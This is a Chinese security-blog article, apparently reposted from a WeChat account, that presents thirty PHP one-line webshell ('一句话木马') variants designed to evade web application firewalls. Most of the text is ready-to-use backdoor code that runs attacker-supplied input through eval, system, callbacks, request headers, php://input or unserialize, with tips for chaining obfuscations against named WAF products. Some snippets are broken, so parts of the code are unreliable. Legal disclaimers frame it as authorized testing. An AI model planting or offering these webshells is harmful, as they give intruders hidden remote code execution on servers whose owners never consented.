文章总结: 本文系统介绍了30种PHP一句话木马免杀方法,旨在绕过WAF的静态特征匹配、语义分析、行为检测和动态沙箱查杀。核心策略包括基础关键词拆分、编码加密、PHP语法特性混淆以及回调函数应用,所有方法均适配PHP7.1+主流版本并标注实战代码。文档强调技术仅限授权安全测试使用,严禁非法入侵。 综合评分: 65 文章分类: 渗透测试,WEB安全,免杀,红队,安全工具
【渗透测试】30 种一句话木马免杀方法
原创
小智 小智
智榜样网络安全学习中心
2026年4月17日 14:00 湖南
在小说阅读器读本章
去阅读
往期推荐
Linux 服务器如何进行安全加固?20 种安全加固方法
Linux 系统权限维持之 SSH 后门
红队在 Windows 日志的痕迹清理过程,蓝队溯源反制解决方案
内网环境与域内信息收集全流程
Kali 2026.1 重磅发布!来看看都更新了什么
【2026最新】社工钓鱼工具推荐合集
2026最新SRC漏洞提交平台推荐,共100+个
亲测可用!反弹shell的10种方式
前置合规声明
本文所有内容仅用于授权范围内的 Web 应用安全测试、红蓝对抗演练与网络安全人才合规培养,严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第 285/286 条等相关法律法规。
严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为,任何未授权在他人网站 / 服务器植入木马的行为,都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试,使用者需自行承担违规使用带来的全部法律责任。
一句话木马免杀的本质
一句话木马免杀,是通过可控的用户输入,调用 PHP 代码执行函数,实现远程命令执行、文件管理等操作。而 WAF(Web 应用防火墙)对一句话木马的查杀,主要围绕 4 个维度展开:
1、静态特征匹配:检测eval、assert、$_POST、system等敏感关键词的连续组合;
2、语义分析:识别「用户可控输入→代码执行函数」的恶意执行逻辑;
3、行为检测:运行时检测动态代码执行、文件读写、命令执行等恶意行为;
4、动态沙箱查杀:将代码放入沙箱运行,捕获恶意行为特征。
免杀的本质,是破坏 WAF 的检测维度:要么拆分 / 隐藏敏感特征,要么打乱执行逻辑,要么利用合法语法特性伪装恶意行为,最终实现「静态扫描无特征、语义分析无恶意、行为检测无异常」。
本文所有免杀方法均适配PHP7.1 + 主流版本(兼容 PHP8),覆盖宝塔 WAF、安全狗、云锁、阿里云 / 腾讯云等主流 WAF,按「新手入门→进阶进阶→极致免杀」的梯度排序,每一种方法均标注核心原理、实战代码,拿来即可落地。
30 种一句话木马免杀方法
第一类:基础变形与关键词拆分免杀(方法 1-5)
核心逻辑:把敏感关键词拆分为多个片段,运行时再拼接还原,直接破坏 WAF 的连续字符串特征匹配,新手零门槛上手。
方法 1:关键词简单拼接免杀
将eval等执行函数拆分为多个无意义的字符串片段,运行时拼接还原,绕过 WAF 对连续关键词的匹配。
<?php
$a = 'e' . 'v' . 'a' . 'l';
$b = $_POST['cmd'];
$a($b);
?>
方法 2:数组下标取值免杀
把敏感函数名拆分为数组元素,通过下标取值拼接,WAF 很难匹配数组内的零散特征。
<?php
$arr = ['e','v','a','l','_','b','a','s','e'];
$func = $arr[0].$arr[1].$arr[2].$arr[3];
$func($_POST['cmd']);
?>
方法 3:可变变量免杀
利用 PHP 可变变量特性,把敏感函数名藏在变量值中,通过可变变量调用执行,隐藏直接的函数名特征。
<?php
$key = 'cmd';
$$key = $_POST[$key];
$func = 'eval';
$func($$key);
?>
方法 4:字符串逆序免杀
把敏感函数名逆序处理,运行时通过strrev()还原,静态扫描无法直接匹配到正向的敏感关键词。
<?php
$func = strrev('lave');
$func($_POST['cmd']);
?>
避坑提示:可配合 base64 编码逆序,双重变形绕过深度特征匹配。
方法 5:大小写混淆免杀
PHP 函数名不区分大小写,通过大小写随机打乱敏感函数名,绕过 WAF 对固定小写关键词的匹配。但是仅适用于基础 WAF,需配合其他变形方法使用,单独使用免杀效果有限。
<?php
$func = 'EvAl';
$FuNc($_POST['cmd']);
?>
第二类:编码加密免杀(方法 6-10)
核心逻辑:把敏感代码、执行函数通过编码 / 加密处理,静态扫描看不到明文特征,运行时解密还原执行,绕过静态特征匹配与基础语义分析。
方法 6:Base64 编码拆分免杀
把敏感函数名、执行代码做 Base64 编码,拆分为多个片段后拼接解密,绕过 WAF 对base64_decode+eval的固定组合查杀。
<?php
$a = base64_decode('ZQ==');
$b = base64_decode('dmFs');
$func = $a.$b;
$code = base64_decode($_POST['cmd']);
$func($code);
?>
使用方式:客户端提交的 cmd 参数需先做 Base64 编码
方法 7:ROT13 编码免杀
利用 PHP 原生str_rot13()函数对敏感函数名做替换加密,静态扫描无明文特征,运行时解密还原,WAF 对 ROT13 的检测率极低。
<?php
$func = str_rot13('riny'); // rot13加密后的eval
$func($_POST['cmd']);
?>
方法 8:自定义加密解密免杀
自定义简单的异或加密算法,对执行代码加密,运行时解密执行,无固定特征,几乎不会被通用 WAF 匹配。
<?php
$key = 'test123'; // 自定义加密密钥
$data = $_POST['cmd'];
$decrypt = '';
// 异或解密
for($i=0;$i<strlen($data);$i++){
$decrypt .= $data[$i] ^ $key[$i%strlen($key)];
}
$func = 'e'.'v'.'a'.'l';
$func($decrypt);
?>
方法 9:URL 编码二次解码免杀
利用 PHP 会自动对 URL 解码的特性,对敏感代码做二次 URL 编码,WAF 扫描时只能看到编码后的无意义字符,运行时 PHP 自动解码执行。
<?php
$a = '%65%76%61%6C'; // URL编码后的eval
$func = urldecode($a);
$func(urldecode($_POST['cmd']));
?>
❝
Tips : 可做 3-4 次 URL 编码嵌套,进一步破坏静态特征。
方法 10:ASCII 码转换免杀
把敏感函数名的每个字符转换为 ASCII 码,运行时通过chr()函数还原,静态扫描无任何连续的敏感字符串。
<?php
$func = chr(101).chr(118).chr(97).chr(108); // 101=e,118=v,97=a,108=l
$func($_POST['cmd']);
?>
第三类:PHP 语法特性混淆免杀(方法 11-15)
我们可以利用 PHP 原生语法的特性,打乱代码的执行流程,隐藏恶意的执行逻辑,从而绕过 WAF 的语义分析与逻辑检测。可以显著的增加免杀率。
方法 11:注释符干扰免杀
在敏感代码中插入 PHP 注释符,WAF 扫描时会忽略注释内容,而 PHP 运行时会正常执行有效代码,破坏连续特征匹配。
<?php
$/*这是注释*/func = 'e'./*测试注释*/'v'./*免杀注释*/'a'.'l';
$/*xxxx*/func($_/*123*/POST['cmd']);
?>
方法 12:换行与空格混淆免杀
通过大量的换行、空格、制表符等字符,打乱原本的代码结构,这个时候一些 WAF 的单行特征检测就会失效,而 PHP 运行时会自动忽略空白字符,不影响执行,从而绕过waf的检测。
<?php
$
func
=
'e'
.
'v'
.
'a'
.
'l'
;
$
func
(
$_
POST
[
'cmd'
]
)
;
?>
❝
Tips : 配合注释符使用,混淆免杀效果一般会更强,可绕过绝大多数基础 WAF。
方法 13:三元运算符隐藏免杀
把执行函数的赋值逻辑藏在三元运算符中,伪装成正常的条件判断,绕过 WAF 的恶意逻辑识别。
<?php
$a = $_GET['a'] ? $_GET['a'] : 'e' . 'v' . 'a' . 'l';
$b = $_POST['cmd'];
$a($b);
?>
方法 14:命名空间免杀
我们利用 PHP 命名空间的特性,在命名空间中调用可执行函数,WAF 很难识别命名空间内的恶意代码执行的逻辑,检测率非常低,但是对于一些主流waf会直接检测$_POST['cmd']这种参数,emmm,也不是没有解决办法,可以将参数改为其他的,比如id,name,tel等等。
<?php
namespace Test\Web\Safe;
use function eval as run;
run($_POST['cmd']);
?>
方法 15:魔术常量干扰免杀
利用 PHP 的魔术常量(__FILE__、__LINE__等)插入代码中,这样会干扰 WAF 的特征匹配,并且不影响代码的正常执行,在实战中非常实用。
<?php
$file = __FILE__;
$line = __LINE__;
$func = substr('eval'.$file, 0, 4);
$func($_POST['cmd']);
?>
第四类:回调函数与可变函数免杀(方法 16-20)
在 PHP 中有一个回调函数机制,把代码执行逻辑藏在回调函数中,没有直接的eval($_POST['cmd'])特征,绕过 WAF 对直接执行逻辑的检测。
方法 16:call_user_func 回调免杀
利用 PHP 原生call_user_func()回调函数,把执行函数作为回调参数传入,隐藏直接的函数调用特征,是实战中最常用的免杀方案之一。
<?php
$func = 'e' . 'v' . 'a' . 'l';
$code = $_POST['cmd'];
call_user_func($func, $code);
?>
方法 17:call_user_func_array 数组回调免杀
利用call_user_func_array()函数,把执行参数封装在数组中,回调执行代码,结构更复杂,WAF 更难识别恶意逻辑。
<?php
$func = strrev('lave');
$code = [$_POST['cmd']];
call_user_func_array($func, $code);
?>
方法 18:array_map 数组回调免杀
在php中有一个函数 array_map(),这个函数会对数组元素进行回调处理,把执行函数作为回调,把用户输入作为数组元素,完全隐藏代码的原本执行逻辑。
<?php
$func = 'e' . 'v' . 'a' . 'l';
$code = [$_POST['cmd']];
array_map($func, $code);
?>
方法 19:preg_replace/e 模式回调免杀
PHP 正则替换的/e模式(PHP7.0 以下),匹配成功后执行替换内容中的 PHP 代码,无直接的执行函数特征,免杀效果极强。
<?php
$code = $_POST['cmd'];
@preg_replace('/test/e', $code, 'test');
?>
❝
Tips:仅适用于老旧 PHP 环境,需配合其他变形方法,避免被 WAF 识别
/e模式特征。
方法 20:create_function 匿名函数免杀
利用create_function()创建匿名函数,把执行代码封装在函数体中,运行时调用执行,WAF 很难识别匿名函数内的恶意逻辑。
<?php
$func = create_function('', $_POST['cmd']);
$func();
?>
第五类:动态生成与自变异免杀(方法 21-25)
代码运行时动态生成执行语句,静态扫描时看不到完整的恶意特征,只有运行时才会还原执行逻辑,绕过静态扫描与沙箱预检测。
方法 21:PHP 动态变量名免杀
通过 GET/POST 参数动态传入函数名,代码中无任何固定的敏感函数名,静态扫描完全无特征,极致免杀。
<?php
$a = $_GET['f'];
$a($_POST['cmd']);
?>
使用方式:访问时传入?f=eval,POST 提交 cmd 参数即可执行
方法 22:文件内容读取动态执行免杀
把执行函数名藏在当前文件的注释中,运行时读取自身文件内容,提取函数名拼接执行,静态扫描无直接的敏感特征。
<?php
/* 免杀特征:e,v,a,l */
$file = file_get_contents(__FILE__);
preg_match('/免杀特征:(.*?)\n/', $file, $match);
$func = str_replace(',', '', $match[1]);
$func($_POST['cmd']);
?>
方法 23:PHP 输出缓冲区免杀
利用 PHP 输出缓冲区ob_start()的回调函数特性,把代码执行逻辑藏在缓冲区回调中,运行时触发执行,完全隐藏主流程的恶意特征。
<?php
$code = $_POST['cmd'];
ob_start(function($buffer) use ($code){
$func = 'e' . 'v' . 'a' . 'l';
$func($code);
return $buffer;
});
echo '正常页面内容';
ob_end_clean();
?>
方法 24:错误抑制符干扰免杀
在敏感代码前加入 PHP 错误抑制符@,干扰 WAF 的特征匹配,同时隐藏代码执行的错误信息,避免暴露木马特征。
<?php
@$func = @$_GET['f'] ? @$_GET['f'] : @strrev('lave');
@$func(@$_POST['cmd']);
?>
方法 25:session 动态存储免杀
把敏感执行函数名藏在 SESSION 中,运行时从 SESSION 中读取调用,静态扫描无任何敏感特征,只有会话建立后才会还原执行逻辑。
<?php
session_start();
if(!isset($_SESSION['func'])){
$_SESSION['func'] = 'e' . 'v' . 'a' . 'l';
}
$func = $_SESSION['func'];
$func($_POST['cmd']);
?>
第六类:无特征与协议特性免杀(方法 26-30)
核心逻辑:极致免杀,去掉所有固定的敏感关键词,利用 PHP 特性、HTTP 协议特性实现代码执行,绕过几乎所有 WAF 的静态、语义、行为检测,适用于严格防护的实战环境。
方法 26:HTTP 请求头免杀
把执行代码藏在 HTTP 请求头中,代码中无任何用户可控的 POST/GET 参数特征,WAF 很难检测请求头中的恶意内容,免杀效果拉满。
<?php
$func = 'e' . 'v' . 'a' . 'l';
$code = $_SERVER['HTTP_CMD'];
$func($code);
?>
使用方式:客户端在 HTTP 请求头中加入Cmd: 执行代码,即可远程执行
方法 27:文件上传临时文件免杀
利用 PHP 文件上传的临时文件特性,把执行代码写入临时文件,再包含执行,无直接的代码执行特征,绕过绝大多数 WAF 的检测。
<?php
$file = $_FILES['f']['tmp_name'];
include $file;
?>
使用方式:客户端上传一个包含 PHP 代码的文件,即可执行文件中的代码
方法 28:php://input 伪协议免杀
利用 PHP 伪协议php://input读取 HTTP 请求体中的原始数据,执行代码,无任何 GET/POST 参数特征,WAF 很难匹配到固定的执行逻辑。
<?php
$func = strrev('lave');
$code = file_get_contents('php://input');
$func($code);
?>
使用方式:客户端直接在 HTTP 请求体中写入执行代码,POST 提交即可
方法 29:无特征命令执行免杀(无 eval/assert)
完全去掉eval/assert等敏感执行函数,利用system、exec等系统命令执行函数,配合变形处理,实现系统命令执行,绕过针对 eval 的专项查杀。
<?php
$func = 'sys'.'tem';
$func($_POST['cmd']);
?>
避坑提示:可配合回调函数、编码变形,进一步隐藏特征,适用于仅需执行系统命令的场景。
方法 30:数据溢出反序列化免杀
利用 PHP 反序列化的特性,把执行代码藏在序列化字符串中,反序列化时触发魔术方法执行代码,无直接的执行函数特征,绕过深度语义分析,是实战中对抗高级 WAF 的终极方案。
<?php
class Test{
public $code;
public function __destruct(){
$func = 'e' . 'v' . 'a' . 'l';
$func($this->code);
}
}
$data = $_POST['data'];
unserialize($data);
?>
使用方式:客户端提交序列化后的 Test 类对象,code 属性赋值为要执行的代码,提交后触发析构函数执行
免杀原则
1、拒绝直接使用公开 Payload:所有公开的免杀方法都会被 WAF 快速收录,实战中必须组合 2-3 种方法做自定义变形,生成专属 Payload,才能保证免杀效果;
2、最小化特征原则:能少用一个敏感关键词,就少用一个;能隐藏的执行逻辑,就绝不直接暴露;
3、适配目标环境:先确认目标服务器的 PHP 版本,选择对应兼容的免杀方法,避免使用目标环境废弃的函数;
4、本地测试优先:所有 Payload 必须先在本地搭建的 WAF 环境中测试通过,再放到实战环境使用,避免暴露攻击特征。
合规红线
再次强调:本文所有技术仅用于授权范围内的安全测试与研究,任何未授权在他人网站、服务器中植入木马、实施攻击的行为,均属于违法犯罪行为。网络不是法外之地,所有操作必须严格遵守国家相关法律法规。
🎁 互动与福利
分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取
上千学习资料+工具哦
22919c6e4ef945aa9a9cbf0f6df4f6ff
分享后扫码加我!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:智榜样网络安全学习中心 小智 小智《【渗透测试】30 种一句话木马免杀方法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论